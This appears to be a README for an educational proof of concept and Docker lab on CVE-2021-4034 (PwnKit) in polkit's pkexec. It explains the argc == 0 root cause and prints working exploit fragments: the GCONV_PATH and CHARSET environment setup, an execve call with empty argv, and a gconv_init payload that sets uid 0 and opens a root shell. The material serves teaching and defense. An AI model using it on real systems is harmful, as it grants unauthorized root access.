
Educational PoC and analysis of CVE-2021-4034 (PwnKit) local privilege escalation vulnerability in polkit's pkexec, with a Docker-based lab for hands-on exploitation and defense practice.
🔗 Original Project: berdav/CVE-2021-4034
This project is an educational analysis and modification based on the original.
MIT License Compliant | White Hat School Training Task
CVE-2021-4034 is a local privilege escalation vulnerability in Linux policykit-1 (PolicyKit). By executing pkexec without arguments, an unprivileged user can exploit a flaw in the process memory structure, causing glib to re-reference environment variable strings that should have been filtered out, thereby loading a malicious .so file and gaining root privileges.
⚠️ Educational Purposes Only: This code should only be used on modified systems.
Using it to attack real systems may result in legal liability.
| Item | Details |
|---|---|
| CVE ID | CVE-2021-4034 |
| Vulnerability Name | PwnKit |
| Affected Versions | All polkit versions prior to patch 0.105 (test environment: policykit-1 0.105-26ubuntu1 on Ubuntu 20.04) |
| Vulnerability Type | Local Privilege Escalation (LPE) |
| Severity | Critical (CVSS 7.8) |
| Patched Version | policykit-1 >= 0.105-26ubuntu1.1 |
| Discovered | June 2021 (publicly disclosed January 2022) |
It is easy to mistake this as an Ubuntu-only problem, but since it is a logic flaw in pkexec itself, most distributions using polkit are affected. The Docker test environment was Ubuntu 20.04, so that version is included in the table.
When first analyzing, I thought it was "a problem caused by unchecked environment variables", but after looking at the source code and the patch commit, I realized the order is different. The real root cause lies elsewhere, and the environment variable issue is more of a consequence. Below is the flow sorted by root cause order.
pkexec is a SUID-root program that requests privilege escalation via PolicyKit.
# Example: execute a command with root privileges
pkexec /bin/id
pkexec systemctl restart service
It is used when a normal user needs to perform specific tasks with administrative privileges.
argc == 0In the main() function of pkexec, when processing command-line arguments, it does not validate the case where the program is executed with no arguments (argc == 0). This is the real starting point of the vulnerability.
argv = {"pkexec", "command", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0When argc is 0, the argv list contains only one NULL (terminator). However, pkexec's internal logic attempts to read and write to a non-existent argv[1]. The problem is that Linux, when executing a process, places the argv array and envp (environment) array adjacent in memory. Thus, accessing out-of-bounds argv[1] actually points to envp[0], i.e., the first environment variable.
Normal: argv = [ "pkexec" | NULL ]
Attack: argv = [ NULL ] ← argc = 0
↑
Accessing non-existent argv[1]
↓
Reads and writes envp[0] right after in memory (out-of-bounds)
Why is this dangerous?
GCONV_PATH, LD_PRELOAD as insecure before executing a SUID program (pkexec).argc < 1. (CWE-125 out-of-bounds read, CWE-787 out-of-bounds write)📌 In summary: The lack of environment variable validation is a "condition that makes the attack work", and the real root cause is that pkexec does not handle argc == 0. Point 3 below is the consequence of this root cause.
Thanks to the OOB behavior described in point 2, during pkexec's initialization of glib, this string is used again without validation.
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // ld.so should have filtered this out
"CHARSET=PWNKIT", // non-existent encoding
};
execve("/usr/bin/pkexec", args, env); // argv is empty to create argc=0
Problem:
The important thing here is that glib itself does nothing wrong. If GCONV_PATH is set, it is normal behavior for glib to search for a converter in that path. The problem is that pkexec has already broken the secure execution state (where dangerous environment variables are removed) — glib simply operates normally, and that normal operation is abused.
Check CHARSET environment variable
CHARSET=PWNKIT
Search for converter definition in gconv-modules file
module UTF-8// PWNKIT// pwnkit 1
Load .so file from GCONV_PATH
GCONV_PATH=. → search for pwnkit.so in current directory
Initialization function in .so runs automatically
// pwnkit.c - Automatically executed when .so is loaded
void gconv_init(void *step)
{
setuid(0); // get root privileges
setgid(0);
execve("/bin/sh"); // execute root shell!
}
It is easy to call gconv_init a "constructor function", but strictly speaking, it is different from C's __attribute__((constructor)). More precisely, it is an initialization function defined by the gconv module interface, and glib calls it explicitly after loading the .so with dlopen.
┌─────────────────────────────────────┐
│ Normal User (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. Execute pkexec with empty argv (argc=0)
│ + Set malicious environment variables
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ pkexec executed │
│ No argc validation → OOB → string re-reference │
└─────────────────────────────────────┘
│
│ 2. glib processes normally
│ Searches for CHARSET=PWNKIT encoding
│ Finds converter in GCONV_PATH=.
↓
┌─────────────────────────────────────┐
│ pwnkit.so loaded │
│ (malicious .so file in current dir) │
└─────────────────────────────────────┘
│
│ 3. gconv init function runs automatically (as root!)
↓
┌─────────────────────────────────────┐
│ root shell obtained ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. Get the project
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. Check for latest version
git pull origin main
# 3. Build (no cache)
docker compose build --no-cache
# 4. Run
docker compose up